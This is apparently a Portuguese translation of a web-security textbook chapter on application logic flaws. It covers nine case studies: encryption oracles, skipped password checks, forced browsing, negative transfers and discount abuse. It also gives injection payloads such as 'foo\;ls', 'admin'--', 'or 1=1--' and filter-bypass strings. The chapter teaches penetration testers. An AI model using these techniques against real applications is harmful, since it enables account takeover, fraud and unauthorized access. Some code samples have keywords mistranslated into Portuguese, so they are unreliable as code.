Como a conscientização sobre as vulnerabilidades comuns dos aplicativos da Web aumentou nos últimos anos, a incidência e a gravidade de algumas categorias de vulnerabilidades diminuíram sensivelmente. Entretanto, devido à natureza das falhas lógicas, é improvável que elas sejam eliminadas por meio de padrões de desenvolvimento seguro, uso de ferramentas de auditoria de código ou testes normais de penetração. A natureza diversa das falhas lógicas e o fato de que detectá-las e evitá-las geralmente exige uma boa dose de pensamento lateral sugerem que elas ainda prevalecerão por um bom tempo. Qualquer invasor sério, portanto, precisa prestar muita atenção à lógica empregada no aplicativo que está sendo visado para tentar descobrir as suposições que os designers e desenvolvedores provavelmente fizeram. Em seguida, ele deve pensar de forma imaginativa sobre como essas suposições podem ser violadas.

Falhas de lógica no mundo real

A melhor maneira de aprender sobre falhas de lógica não é teorizar, mas conhecer alguns exemplos reais. Embora as instâncias individuais de falhas lógicas sejam muito diferentes, elas compartilham muitos temas comuns e demonstram os tipos de erros que os desenvolvedores humanos sempre estarão propensos a cometer.

Portanto, os insights obtidos com o estudo de uma amostra de falhas lógicas devem ajudá-lo a descobrir novas falhas em situações totalmente diferentes.

Exemplo 1: Perguntar ao oráculo

Os autores encontraram instâncias da falha "oráculo de criptografia" em muitos tipos diferentes de aplicativos. Eles a usaram em vários ataques, desde a descriptografia de credenciais de domínio em software de impressão até a quebra da computação em nuvem. A seguir, um exemplo clássico da falha encontrada em um site de vendas de software.

A funcionalidade

O aplicativo implementou uma função "lembre-se de mim" por meio da qual um usuário poderia evitar fazer login no aplicativo em cada visita, permitindo que o aplicativo definisse um cookie permanente no navegador. Esse cookie foi protegido contra adulteração ou divulgação por um algoritmo de criptografia que foi executado em uma cadeia composta pelo nome, ID do usuário e dados voláteis para garantir que o valor resultante fosse exclusivo e não pudesse ser previsto. Para garantir que ele não pudesse ser reproduzido por um invasor que obtivesse acesso a ele, também foram coletados dados específicos da máquina, incluindo o endereço IP.

Esse cookie foi justificadamente considerado uma solução robusta para proteger uma parte potencialmente vulnerável da funcionalidade comercial necessária.

Além de uma função "lembrar de mim", o aplicativo tinha a funcionalidade de armazenar o nome de tela do usuário em um cookie chamado `ScreenName`. Dessa forma, o usuário poderia receber uma saudação personalizada no canto do site na próxima vez que o visitasse. Decidindo que esse nome também era uma informação de segurança, considerou-se que ele também deveria ser criptografado.

A suposição

Os desenvolvedores decidiram que, como o cookie `ScreenName` tinha um valor consideravelmente menor para um invasor do que o cookie `RememberMe`, eles também poderiam usar o mesmo algoritmo de criptografia para protegê-lo. O que eles não consideraram foi que um usuário pode especificar seu nome de tela e visualizá-lo na tela. Isso inadvertidamente deu aos usuários acesso à função de criptografia (e à chave de criptografia) usada para proteger o token de autenticação persistente `RememberMe`.

O ataque

Em um ataque simples, um usuário fornecia o valor criptografado de seu cookie `RememberMe` no lugar do cookie `ScreenName` criptografado. Ao exibir o nome de tela de volta para o usuário, o aplicativo descriptografaria o valor, verificaria se

a descriptografia funcionou e, em seguida, imprimiu o resultado na tela. Isso resultou na seguinte mensagem:

```
Welcome, marcus|734|192.168.4.282750184
```

Embora isso fosse interessante, não era necessariamente um problema de alto risco. Significava simplesmente que, com um cookie `RememberMe` criptografado, um invasor poderia listar o conteúdo, incluindo um nome de usuário, ID de usuário e endereço IP. Como nenhuma senha era armazenada no cookie, não havia nenhuma maneira imediata de agir com base nas informações obtidas.

O problema real surgiu do fato de que os usuários podiam especificar seus nomes de tela. Como resultado, um usuário poderia escolher esse nome de tela, por exemplo:

```
admin|1|192.168.4.282750184
```

Quando o usuário fazia o logout e o login novamente, o aplicativo criptografava esse valor e o armazenava no navegador do usuário como o cookie `ScreenName` criptografado. Se um invasor enviasse esse token criptografado como o valor do cookie `RememberMe`, o aplicativo o descriptografaria, leria o ID do usuário e faria o login do invasor como administrador! Mesmo que a criptografia fosse Triple DES, usando uma chave forte e protegida contra ataques de repetição, o aplicativo poderia ser aproveitado como um "oráculo de criptografia" para descriptografar e criptografar valores arbitrários.

ETAPAS DO HACK

As manifestações desse tipo de vulnerabilidade podem ser encontradas em diversos locais. Os exemplos incluem tokens de recuperação de conta, acesso baseado em token a recursos autenticados e qualquer outro valor enviado ao lado do cliente que p r e c i s e ser à prova de violação ou ilegível para o usuário.

1. Procure os locais em que a criptografia (não o hashing) é usada no aplicativo. Determine todos os locais em que o aplicativo criptografa ou descriptografa valores fornecidos por um usuário e tente substituir quaisquer outros valores criptografados encontrados no aplicativo. Tente causar um erro no aplicativo que revele o valor descriptografado ou em que o valor descriptografado seja exibido propositalmente na tela.
2. Procure uma vulnerabilidade de "revelação de oráculo" determinando onde um valor criptografado pode ser fornecido, o que resulta no valor correspondente.
   O valor descriptografado está sendo exibido na resposta do aplicativo. Determine se isso leva à divulgação de informações confidenciais, como uma senha ou um cartão de crédito.
3. Procure uma vulnerabilidade de "criptografia de oráculo" determinando onde o fornecimento de um valor de texto não criptografado faz com que o aplicativo retorne um valor criptografado correspondente. Determine onde isso pode ser abusado especificando valores arbitrários ou cargas maliciosas que o aplicativo processará.

Exemplo 2: Enganando uma função de alteração de senha

Os autores encontraram essa falha lógica em um aplicativo da Web implementado por uma empresa de serviços financeiros e também no aplicativo AOL AIM Enterprise Gateway.

A funcionalidade

O aplicativo implementou uma função de alteração de senha para os usuários finais. Ele exigia que o usuário preenchesse os campos de nome de usuário, senha existente, nova senha e confirmação da nova senha.

Havia também uma função de alteração de senha para uso dos administradores. Isso permitia que eles alterassem a senha de qualquer usuário sem fornecer a senha existente. As duas funções foram implementadas no mesmo script do lado do servidor.

A suposição

A interface do lado do cliente apresentada aos usuários e administradores diferia em um aspecto: a interface do administrador não continha um campo para a senha existente. Quando o aplicativo no lado do servidor processava uma solicitação de alteração de senha, ele usava a presença ou ausência do parâmetro de senha existente para indicar se a solicitação era de um administrador ou de um usuário comum. Em outras palavras, ele presumia que os usuários comuns sempre forneceriam um parâmetro de senha existente.

O código responsável era mais ou menos assim:

```
String existingPassword = request.getParameter("existingPassword"); if
(null == existingPassword)
{
    trace("Senha antiga não fornecida, deve ser um administrador");
    return true;
}
mais
{
    trace("Verificando a senha antiga do usuário");
    ...
```

O ataque

Quando a suposição é explicitamente declarada dessa forma, a falha lógica se torna óbvia. É claro que um usuário comum poderia emitir uma solicitação que não contivesse um parâmetro de senha existente, pois os usuários controlavam todos os aspectos das solicitações que emitiam.

Essa falha lógica foi devastadora para o aplicativo. Ela permitia que um invasor redefinisse a senha de qualquer outro usuário e assumisse o controle total da conta dessa pessoa.

ETAPAS DO HACK

1. Ao investigar a funcionalidade principal em busca de falhas lógicas, tente remover cada parâmetro enviado nas solicitações, incluindo cookies, campos de string de consulta e itens de dados `POST`.
2. Certifique-se de excluir o nome real do parâmetro, bem como seu valor. Não envie apenas uma cadeia de caracteres vazia, pois normalmente o servidor lida com isso de forma diferente.
3. Ataque apenas um parâmetro de cada vez para garantir que todos os caminhos de código relevantes dentro do aplicativo sejam alcançados.
4. Se a solicitação que você estiver manipulando fizer parte de um processo de vários estágios, siga o processo até a conclusão, porque alguma lógica posterior poderá processar dados que foram fornecidos em etapas anteriores e armazenados na sessão.

Exemplo 3: Prosseguindo para o checkout

Os autores encontraram essa falha lógica no aplicativo da Web empregado por um varejista on-line.

A funcionalidade

O processo de colocação de um pedido envolveu as seguintes etapas:

1. Navegue pelo catálogo de produtos e adicione itens ao carrinho de compras.
2. Retorne ao carrinho de compras e finalize o pedido.
3. Insira as informações de pagamento.
4. Insira as informações de entrega.

A suposição

Os desenvolvedores presumiram que os usuários sempre acessariam os estágios na sequência pretendida, porque essa era a ordem em que os estágios eram entregues ao usuário pelos links de navegação e formulários apresentados ao navegador do usuário. Portanto, qualquer usuário que concluiu o processo de pedido deve ter enviado detalhes de pagamento satisfatórios ao longo do caminho.

O ataque

A suposição dos desenvolvedores era falha por motivos bastante óbvios. Os usuários controlavam todas as solicitações que faziam ao aplicativo e, portanto, podiam acessar

qualquer estágio do processo de pedido em qualquer sequência. Ao passar diretamente do estágio 2 para o estágio 4, um invasor poderia gerar um pedido finalizado para entrega, mas que não tivesse sido pago de fato.

ETAPAS DO HACK

A técnica para encontrar e explorar falhas desse tipo é conhecida como *navegação forçada*. Ela envolve contornar quaisquer controles impostos pela navegação no navegador sobre a sequência em que as funções do aplicativo podem ser acessadas:

1. Quando um processo de vários estágios envolver uma sequência definida de solicitações, tente enviar essas solicitações fora da sequência esperada. Tente pular determinados estágios, acessando um único estágio mais de uma vez e acessando estágios anteriores depois dos posteriores.
2. A sequência de estágios pode ser acessada por meio de uma série de solicitações **GET** ou **POST** para URLs distintos, ou pode envolver o envio de diferentes conjuntos de parâmetros para o mesmo URL. O estágio que está sendo solicitado pode ser especificado pelo envio de um nome de função ou índice em um parâmetro de solicitação. Certifique-se de entender completamente os mecanismos que o aplicativo está empregando para fornecer acesso a estágios distintos.
3. A partir do contexto da funcionalidade implementada, tente entender quais suposições os desenvolvedores podem ter feito e onde está a principal superfície de ataque. Tente identificar maneiras de violar essas suposições para causar um comportamento indesejável no aplicativo.
4. Quando as funções de vários estágios são acessadas fora de sequência, é comum encontrar uma variedade de condições anômalas no aplicativo, como variáveis com valores nulos ou não inicializados, um estado parcialmente definido ou inconsistente e outros comportamentos imprevisíveis. Nessa situação, o aplicativo pode retornar uma mensagem de erro interessante e uma saída de depuração, que você pode usar para entender melhor seu funcionamento interno e, assim, ajustar o ataque atual ou um ataque diferente (consulte o Capítulo 15). Às vezes, o aplicativo pode entrar em um estado totalmente não previsto pelos desenvolvedores, o que pode levar a falhas graves de segurança.

OBSERVAÇÃO Muitos tipos de vulnerabilidade de controle de acesso são semelhantes em natureza a essa falha lógica. Quando uma função privilegiada envolve vários estágios que normalmente são acessados em uma sequência definida, o aplicativo pode presumir que os usuários sempre passarão pela funcionalidade nessa sequência. O aplicativo pode impor um controle de acesso rigoroso nos estágios iniciais do processo e presumir que qualquer usuário que chegue aos estágios posteriores deve ser autorizado. Se um usuário com pouco privilégio prosseguir diretamente para um estágio posterior, ele poderá acessá-lo sem nenhuma restrição. Consulte o Capítulo 8 para obter mais detalhes sobre como encontrar e explorar vulnerabilidades desse tipo.

Exemplo 4: Como contratar seu próprio seguro

Os autores encontraram essa falha lógica em um aplicativo da Web implementado por uma empresa de serviços financeiros.

A funcionalidade

O aplicativo permitia que os usuários obtivessem cotações de seguro e, se desejassem, preenchessem e enviassem uma solicitação de seguro on-line. O processo se estendia por uma dúzia de etapas:

- Na primeira etapa, o solicitante enviava algumas informações básicas e especificava um prêmio mensal preferido ou o valor do seguro desejado. O aplicativo ofereceu uma cotação, computando o valor que o solicitante não especificou.
- Em vários estágios, o candidato forneceu vários outros detalhes pessoais, incluindo saúde, profissão e passatempos.
- Por fim, a solicitação foi transmitida a um subscritor que trabalha para a seguradora. Usando o mesmo aplicativo da Web, o subscritor analisou os detalhes e decidiu se aceitaria a solicitação como está ou se modificaria a cotação inicial para refletir quaisquer riscos adicionais.

Em cada um dos estágios descritos, o aplicativo empregou um componente compartilhado para processar cada parâmetro de dados do usuário enviado a ele. Esse componente analisou todos os dados em cada solicitação `POST` em pares de nome/valor e atualizou suas informações de estado com cada item de dados recebido.

A suposição

O componente que processava os dados fornecidos pelo usuário presumia que cada solicitação conteria apenas os parâmetros que haviam sido solicitados ao usuário no formulário HTML relevante. Os desenvolvedores não consideraram o que aconteceria se um usuário enviasse parâmetros que não foram solicitados.

O ataque

É claro que a suposição era falha, pois os usuários podiam enviar nomes e valores de parâmetros arbitrários em cada solicitação. Como resultado, a funcionalidade principal do aplicativo foi interrompida de várias maneiras:

- Um invasor poderia explorar o componente compartilhado para contornar toda a validação de entrada no lado do servidor. Em cada estágio do processo de cotação, o aplicativo executava uma validação rigorosa dos dados esperados naquele estágio e rejeitava todos os dados que não passavam por essa validação. Mas o componente compartilhado atualizava

o estado do aplicativo com cada parâmetro fornecido pelo usuário. Portanto, se um invasor enviasse dados fora da sequência, fornecendo um par nome/valor que o aplicativo esperava em um estágio anterior, esses dados seriam aceitos e processados, sem que nenhuma validação tivesse sido realizada. Como aconteceu, essa possibilidade abriu caminho para um ataque de script entre sites armazenado direcionado ao subscritor, o que permitiu que um usuário mal-intencionado acessasse as informações pessoais de outros solicitantes (consulte o Capítulo 12).

- Um invasor poderia comprar um seguro a um preço arbitrário. No primeiro estágio do processo de cotação, o solicitante especificava o prêmio mensal de sua preferência ou o valor que desejava segurar, e o aplicativo calculava o outro item de acordo. Entretanto, se um usuário fornecesse novos valores para um ou ambos os itens em um estágio posterior, o estado do aplicativo seria atualizado com esses valores. Ao enviar esses parâmetros fora de sequência, um invasor poderia obter uma cotação de seguro com um valor arbitrário e um prêmio mensal arbitrário.
- Não havia controles de acesso em relação aos parâmetros que um determinado tipo de usuário poderia fornecer. Quando um subscritor analisava uma solicitação concluída, ele atualizava vários itens de dados, inclusive a decisão de aceitação. Esses dados eram processados pelo componente compartilhado da mesma forma que os dados fornecidos por um usuário comum. Se um invasor soubesse ou adivinhasse os nomes dos parâmetros usados quando o subscritor analisava um aplicativo, ele poderia simplesmente enviá-los, aceitando assim seu próprio aplicativo sem nenhuma subscrição real.

ETAPAS DO HACK

As falhas nesse aplicativo eram fundamentais para sua segurança, mas nenhuma delas teria sido identificada por um invasor que simplesmente interceptasse as solicitações do navegador e modificasse os valores dos parâmetros enviados.

1. Sempre que um aplicativo implementar uma ação-chave em vários estágios, você deve pegar os parâmetros que são enviados em um estágio do processo e tentar enviá-los para um estágio diferente. Se os itens de dados relevantes forem atualizados no estado do aplicativo, você deverá explorar as ramificações desse comportamento para determinar se pode aproveitá-lo para executar alguma ação mal-intencionada, como nos três exemplos anteriores.
2. Se o aplicativo implementar a funcionalidade por meio da qual diferentes categorias de usuários possam atualizar ou executar outras ações em uma coleção comum
de dados, você deve percorrer o processo usando cada tipo de usuário e observar os parâmetros enviados. Quando parâmetros diferentes forem normalmente enviados por usuários diferentes, pegue cada parâmetro enviado por um usuário e tente enviá-lo como o outro usuário. Se o parâmetro for aceito e processado como esse usuário, explore as implicações desse comportamento conforme descrito anteriormente.

Exemplo 5: Quebrando o banco

Os autores encontraram essa falha lógica no aplicativo da Web implementado por uma grande empresa de serviços financeiros.

A funcionalidade

O aplicativo permitiu que os clientes existentes que ainda não usavam o aplicativo on-line se registrassem para fazê-lo. Os novos usuários eram obrigados a fornecer algumas informações pessoais básicas para garantir sua identidade. Essas informações incluíam nome, endereço e data de nascimento, mas não incluíam nada secreto, como uma senha ou PIN existente.

Quando essas informações eram inseridas corretamente, o aplicativo encaminhava a solicitação de registro aos sistemas de back-end para processamento. Um pacote de informações foi enviado pelo correio para o endereço residencial registrado da usuária. Esse pacote incluía instruções para ativar seu acesso on-line por meio de uma ligação telefônica para a central de atendimento da empresa e também uma senha única para ser usada no primeiro login do aplicativo.

A suposição

Os projetistas do aplicativo acreditavam que esse mecanismo oferecia uma defesa robusta contra o acesso não autorizado ao aplicativo. O mecanismo implementava três camadas de proteção:

- Uma quantidade modesta de dados pessoais foi exigida antecipadamente para impedir que um invasor mal-intencionado ou um usuário malicioso tentasse iniciar o processo de registro em nome de outros usuários.
- O processo envolvia a transmissão de uma chave secreta fora de banda para o endereço residencial registrado do cliente. Um invasor precisaria ter acesso à correspondência pessoal da vítima.
- O cliente era solicitado a telefonar para a central de atendimento e se autenticar lá da maneira usual, com base em informações pessoais e dígitos selecionados de um PIN.

Esse projeto era de fato robusto. A falha lógica estava na implementação do mecanismo.

Os desenvolvedores que implementaram o mecanismo de registro precisavam de uma maneira de armazenar os dados pessoais enviados pelo usuário e correlacioná-los com uma identidade exclusiva do cliente no banco de dados da empresa. Com o intuito de reutilizar o código existente, eles se depararam com a classe a seguir, que parecia servir a seus propósitos:

```
classe CCustomer
{
    String firstName;
    String lastName;
```

```
CDoB dob;
CAddress homeAddress; long
custNumber;
...
```

Depois que as informações do usuário foram capturadas, esse objeto foi instanciado, preenchido com as informações fornecidas e armazenado na sessão do usuário. Em seguida, o aplicativo verificava os detalhes do usuário e, se fossem válidos, recuperava o número de cliente exclusivo do usuário, que era usado em todos os sistemas da empresa. Esse número foi adicionado ao objeto, juntamente com outras informações úteis sobre o usuário. O objeto era então transmitido para o sistema back-end relevante para que a solicitação de registro fosse processada.

Os desenvolvedores presumiram que o uso desse componente de código era inofensivo e não levaria a um problema de segurança. No entanto, essa suposição era errônea, com graves consequências.

O ataque

O mesmo componente de código que foi incorporado à funcionalidade de registro também foi usado em outras partes do aplicativo, inclusive na funcionalidade principal. Isso deu aos usuários autenticados acesso a detalhes da conta, extratos, transferências de fundos e outras informações. Quando uma usuária registrada se autenticava com sucesso no aplicativo, esse mesmo objeto era instanciado e salvo em sua sessão para armazenar informações importantes sobre sua identidade. A maior parte da funcionalidade do aplicativo fazia referência às informações contidas nesse objeto para executar suas ações. Por exemplo, os detalhes da conta apresentados ao usuário em sua página principal foram gerados com base no número exclusivo do cliente contido nesse objeto.

A forma como o componente de código já estava sendo empregado no aplicativo significava que a suposição dos desenvolvedores era falha, e a maneira como eles o reutilizaram de fato abriu uma vulnerabilidade significativa.

Embora a vulnerabilidade fosse grave, na verdade era relativamente sutil de detectar e explorar. O acesso à funcionalidade principal do aplicativo era protegido por controles de acesso em várias camadas, e um usuário precisava ter uma sessão totalmente autenticada para passar por esses controles. Para explorar a falha lógica, portanto, um invasor precisava seguir estas etapas:

- Faça login no aplicativo usando suas próprias credenciais de conta válidas.
- Usando a sessão autenticada resultante, acesse a funcionalidade de registro e envie as informações pessoais de um cliente diferente. Isso fez com que o aplicativo substituísse o objeto `CCustomer` original na sessão do invasor por um novo objeto relacionado ao cliente-alvo.
- Retorne à funcionalidade principal do aplicativo e acesse a conta do outro usuário.

Uma vulnerabilidade desse tipo não é fácil de detectar quando se examina o aplicativo de uma perspectiva de caixa preta. No entanto, também é difícil identificá-la ao revisar ou escrever o código-fonte real. Sem uma compreensão clara do aplicativo como um todo e de como os diferentes componentes são usados em diferentes áreas, a suposição errônea feita pelos desenvolvedores pode não ser evidente. É claro que um código-fonte claramente comentado e uma documentação de projeto reduziriam a probabilidade de esse defeito ser introduzido ou permanecer sem ser detectado.

ETAPAS DO HACK

1. Em um aplicativo complexo que envolva segregação de privilégios horizontal ou vertical, tente localizar todas as instâncias em que um usuário individual possa acumular uma quantidade de estado em sua sessão que esteja relacionada de alguma forma à sua identidade.
2. Tente percorrer uma área de funcionalidade e, em seguida, mude para uma área não relacionada, para determinar se alguma informação de estado acumulada afeta o comportamento do aplicativo.

Exemplo 6: Superação de um limite de negócios

Os autores encontraram essa falha lógica em um aplicativo de planejamento de recursos empresariais baseado na Web usado em uma empresa de manufatura.

A funcionalidade

A equipe financeira podia realizar transferências de fundos entre várias contas bancárias de propriedade da empresa e de seus principais clientes e fornecedores. Como precaução contra fraudes, o aplicativo impedia que a maioria dos usuários processasse transferências com valor superior a US$ 10.000. Qualquer transferência maior do que isso exigia a aprovação de um gerente sênior.

A suposição

O código responsável pela implementação dessa verificação no aplicativo era simples:

```
bool CAuthCheck::RequiresApproval(int amount)
{
    Se (valor <= m_apprThreshold)
        retornar false;
    caso contrário, retorne true;
}
```

Os desenvolvedores presumiram que essa verificação transparente era à prova de balas. Nenhuma transação com valor superior ao limite configurado poderia escapar da exigência de aprovação secundária.

O ataque

A suposição dos desenvolvedores foi falha porque eles ignoraram a possibilidade de um usuário tentar processar uma transferência para um valor negativo. Qualquer número negativo passaria no teste de aprovação, pois é menor que o limite. Entretanto, o módulo bancário do aplicativo aceitava transferências negativas e simplesmente as processava como transferências positivas na direção oposta. Assim, qualquer usuário que quisesse transferir US$ 20.000 da conta A para a conta B poderia simplesmente iniciar uma transferência de -US$ 20.000 da conta B para a conta A, que teria o mesmo efeito e não exigiria aprovação. As defesas antifraude incorporadas ao aplicativo poderiam ser facilmente contornadas!

OBSERVAÇÃO Muitos tipos de aplicativos da Web empregam limites numéricos em sua lógica comercial:

- Um aplicativo de varejo pode impedir que um usuário faça um pedido maior do que o número de unidades disponíveis em estoque.
- Um aplicativo bancário pode impedir que um usuário faça pagamentos de contas que excedam o saldo de sua conta corrente.
- Um aplicativo de seguro pode ajustar suas cotações com base em limites de idade.

Encontrar uma maneira de superar esses limites geralmente não representa uma promessa de segurança do próprio aplicativo. No entanto, isso pode ter sérias consequências comerciais e representar uma violação dos controles que o proprietário está confiando que o aplicativo aplicará.

As vulnerabilidades mais óbvias desse tipo geralmente são detectadas durante o teste de aceitação do usuário que normalmente ocorre antes do lançamento de um aplicativo. No entanto, podem ocorrer manifestações mais sutis do problema, principalmente quando parâmetros ocultos estão sendo manipulados.

ETAPAS DO HACK

A primeira etapa na tentativa de superar um limite comercial é entender quais caracteres são aceitos na entrada relevante que você controla.

1. Tente inserir valores negativos e veja se o aplicativo os aceita e os processa da maneira esperada.
2. Talvez seja necessário executar várias etapas para criar uma alteração no estado do aplicativo que possa ser explorada para uma finalidade útil. Por exemplo, podem ser necessárias várias transferências entre contas até que seja acumulado um saldo adequado que possa ser de fato extraído.

Exemplo 7: Trapaça nos descontos em massa

Os autores encontraram essa falha lógica no aplicativo de varejo de um fornecedor de software.

A funcionalidade

O aplicativo permitia que os usuários encomendassem produtos de software e se qualificassem para descontos em massa se um pacote adequado de itens fosse comprado. Por exemplo, os usuários que compraram uma solução antivírus, um firewall pessoal e um software antispam tiveram direito a um desconto de 25% sobre os preços individuais.

A suposição

Quando um usuário adicionava um item de software à sua cesta de compras, o aplicativo usava várias regras para determinar se o pacote de compras que ele havia escolhido dava direito a um desconto. Em caso afirmativo, os preços dos itens relevantes na cesta de compras eram ajustados de acordo com o desconto. Os desenvolvedores presumiram que o usuário continuaria comprando o pacote escolhido e, portanto, teria direito ao desconto.

O ataque

A suposição dos desenvolvedores é obviamente falha, pois ignora o fato de que os usuários podem remover itens de suas cestas de compras depois de terem sido adicionados. Um usuário astuto poderia adicionar à sua cesta grandes quantidades de cada produto em promoção do fornecedor para atrair o máximo possível de descontos em massa. Depois que os descontos fossem aplicados aos itens em sua cesta de compras, ele poderia remover os itens que não quisesse e ainda receber os descontos aplicados aos produtos restantes.

ETAPAS DO HACK

1. Em qualquer situação em que os preços ou outros valores sensíveis sejam ajustados com base em critérios determinados por dados ou ações controláveis pelo usuário, primeiro entenda os algoritmos que o aplicativo usa e o ponto em sua lógica em que os ajustes são feitos. Identifique se esses ajustes são feitos uma única vez ou se são revisados em resposta a outras ações executadas pelo usuário.
2. Pense de forma criativa. Tente encontrar uma maneira de manipular o comportamento do aplicativo para que ele entre em um estado em que os ajustes aplicados não correspondam aos critérios originais pretendidos por seus projetistas. No caso mais óbvio, conforme descrito acima, isso pode simplesmente envolver a remoção de itens de um carrinho de compras após a aplicação de um desconto!

Exemplo 8: Fugindo da fuga

Os autores encontraram essa falha lógica em vários aplicativos da Web, incluindo a interface de administração da Web usada por um produto de detecção de intrusão de rede.

A funcionalidade

Os projetistas do aplicativo decidiram implementar algumas funcionalidades que envolviam a passagem da entrada controlável pelo usuário como argumento para um comando do sistema operacional. Os desenvolvedores do aplicativo compreenderam os riscos inerentes a esse tipo de operação (consulte o Capítulo 9) e decidiram se defender contra esses riscos higienizando todos os caracteres potencialmente maliciosos na entrada do usuário. Quaisquer instâncias do seguinte seriam escapadas usando o caractere de barra invertida:

`; | & < > '` espaço e nova linha

O escape de dados dessa forma faz com que o interpretador de comandos do shell trate os caracteres relevantes como parte do argumento que está sendo passado para o comando invocado, e não como metacaracteres do shell. Esses metacaracteres podem ser usados para injetar comandos ou argumentos adicionais, redirecionar a saída e assim por diante.

A suposição

Os desenvolvedores tinham certeza de que haviam criado uma defesa robusta contra ataques de injeção de comandos. Eles haviam feito um brainstorming de todos os caracteres possíveis que poderiam ajudar um invasor e garantiram que todos eles fossem devidamente evitados e, portanto, tornados seguros.

O ataque

Os desenvolvedores esqueceram de escapar o próprio caractere de escape.

O caractere de barra invertida geralmente não é de uso direto para um invasor ao explorar uma falha simples de injeção de comando. Portanto, os desenvolvedores não o identificaram como potencialmente mal-intencionado. No entanto, ao não escapar dele, eles forneceram um meio para que o invasor derrotasse seu mecanismo de sanitização.

Suponha que um invasor forneça a seguinte entrada para a função vulnerável:

```
foo\;ls
```

O aplicativo aplica o escape relevante, conforme descrito anteriormente, de modo que a entrada do invasor se torna:

```
foo\\;ls
```

Quando esses dados são passados como um argumento para o comando do sistema operacional, o interpretador do shell trata a primeira barra invertida como o caractere de escape. Portanto, ele trata a segunda barra invertida como uma barra invertida literal - não como um caractere de escape, mas como parte do próprio argumento. Em seguida, ele encontra um ponto e vírgula que

aparentemente não tem escape. Ele o trata como um separador de comando e, portanto, continua a executar o comando injetado fornecido pelo invasor.

ETAPAS DO HACK

Sempre que sondar um aplicativo em busca de injeção de comandos e outras falhas, depois de tentar inserir os metacaracteres relevantes nos dados que você controla, tente sempre colocar uma barra invertida imediatamente antes de cada um desses caracteres para testar a falha lógica que acabamos de descrever.

OBSERVAÇÃO Essa mesma lei pode ser encontrada em algumas defesas contra ataques de script entre sites (consulte o Capítulo 12). Quando a entrada fornecida pelo usuário é copiada diretamente no valor de uma variável de cadeia de caracteres em uma parte do JavaScript, esse valor é encapsulado entre aspas. Para se defenderem contra scripts entre sites, muitos aplicativos usam barras invertidas para escapar das aspas que aparecem na entrada do usuário. No entanto, se o próprio caractere de barra invertida não for escapado, um invasor poderá enviar `\'` para sair da cadeia de caracteres e, assim, assumir o controle do script. Esse mesmo bug foi encontrado nas primeiras versões da estrutura Ruby On Rails na função **`escape_javascript`**.

Exemplo 9: Invalidando a validação de entrada

Os autores encontraram essa falha lógica em um aplicativo da Web usado em um site de comércio eletrônico. Variantes podem ser encontradas em muitos outros aplicativos.

A funcionalidade

O aplicativo continha um conjunto de rotinas de validação de entrada para proteção contra vários tipos de ataques. Dois desses mecanismos de defesa eram um filtro de injeção de SQL e um limitador de comprimento.

É comum que os aplicativos tentem se defender da injeção de SQL escapando de qualquer aspa simples que apareça na entrada do usuário baseada em string (e rejeitando qualquer uma que apareça na entrada numérica). Conforme descrito no Capítulo 9, duas aspas simples juntas são uma sequência de escape que representa uma aspa simples literal, que o banco de dados interpreta como dados dentro de uma string entre aspas em vez do terminador de string de fechamento. Muitos desenvolvedores argumentam, portanto, que ao dobrar as aspas simples na entrada fornecida pelo usuário, eles evitarão a ocorrência de ataques de injeção de SQL.

O limitador de comprimento foi aplicado a todas as entradas, garantindo que nenhuma variável fornecida por um usuário tivesse mais de 128 caracteres. Isso foi feito truncando todas as variáveis em 128 caracteres.

A suposição

Supôs-se que tanto o filtro de injeção de SQL quanto o truncamento de comprimento eram defesas desejáveis do ponto de vista da segurança, portanto, ambos deveriam ser aplicados.

O ataque

A defesa contra injeção de SQL funciona duplicando as aspas que aparecem na entrada do usuário, de modo que, dentro de cada par de aspas, a primeira aspa atua como um caractere de escape para a segunda. No entanto, os desenvolvedores não consideraram o que aconteceria com a entrada sanitizada se ela fosse então entregue à função de truncamento.

Lembre-se do exemplo de injeção de SQL em uma função de login no Capítulo 9. Suponha que o aplicativo duplique as aspas simples contidas na entrada do usuário e também imponha um limite de comprimento aos dados, truncando-os em 128 caracteres. Fornecendo esse nome de usuário:

```
admin'--
```

agora resulta na seguinte consulta, que não consegue contornar o login:

```
SELECT * FROM users WHERE nome de usuário = 'admin''--' e senha = ''
```

No entanto, se você enviar o seguinte nome de usuário (contendo 127 a's seguidos de uma aspa simples):

```
aaaaaaaa[...]aaaaaaaaaaa'
```

o aplicativo primeiro duplica as aspas simples e, em seguida, trunca a cadeia de caracteres para 128 caracteres, retornando sua entrada ao valor original. Isso resulta em um erro de banco de dados, pois você injetou uma aspa simples adicional na consulta sem corrigir a sintaxe ao redor. Se agora você também fornecer a senha:

```
ou 1=1--
```

o aplicativo executa a seguinte consulta, que consegue contornar o login:

```
SELECT * FROM users WHERE username = 'aaaaaaa[...]aaaaaaaaaaa'' and
 password = 'or 1=1--'
```

As aspas duplas no final da string de a's são interpretadas como aspas de escape e, portanto, como parte dos dados da consulta. Essa cadeia de caracteres continua efetivamente até a próxima aspa simples, que na consulta original marcava o início do valor da senha fornecida pelo usuário. Portanto, o nome de usuário real que o banco de dados entende é a cadeia de dados literal mostrada aqui:

```
aaaaaaa[...]aaaaaaaaaaa'e senha =
```

Portanto, o que vier em seguida é interpretado como parte da própria consulta e pode ser criado para interferir na lógica da consulta.

DICA Você pode testar esse tipo de vulnerabilidade sem saber exatamente qual limite de comprimento está sendo imposto, enviando, por sua vez, duas cadeias longas do seguinte formato:

```
''''''''''''''''''''''''''''''''''''''''' e assim por diante

a''''''''''''''''''''''''''''''''''''''''' e assim por diante
```

e determinar se ocorre um erro. Qualquer truncamento de entrada com escape ocorrerá após um número par ou ímpar de caracteres. Qualquer que seja a possibilidade, uma das cadeias de caracteres anteriores resultará em um número ímpar de aspas simples sendo inseridas na consulta, resultando em uma sintaxe inválida.

ETAPAS DO HACK

Anote todas as instâncias em que o aplicativo modifica a entrada do usuário, especialmente truncando-a, removendo dados, codificando ou decodificando. Para todas as instâncias observadas, determine se é possível criar uma cadeia de caracteres maliciosa:

1. Se os dados forem removidos uma vez (não recursivamente), determine se você pode enviar uma cadeia de caracteres que compense isso. Por exemplo, se o aplicativo filtrar palavras-chave SQL como **SELECT**, envie **SELSELECTECTECT** e veja se a filtragem resultante remove a substring **SELECT** interna, deixando a palavra **SELECT**.
2. Se a validação de dados ocorrer em uma ordem definida e um ou mais processos de validação modificarem os dados, determine se isso pode ser usado para superar uma das etapas de validação anteriores. Por exemplo, se o aplicativo executar a decodificação de URL e, em seguida, remover dados mal-intencionados, como a tag **<script>**, talvez seja possível superar isso com cadeias de caracteres como:

   %<script>3cscript%<script>3ealert(1)%<script>3c/script%<script>3e

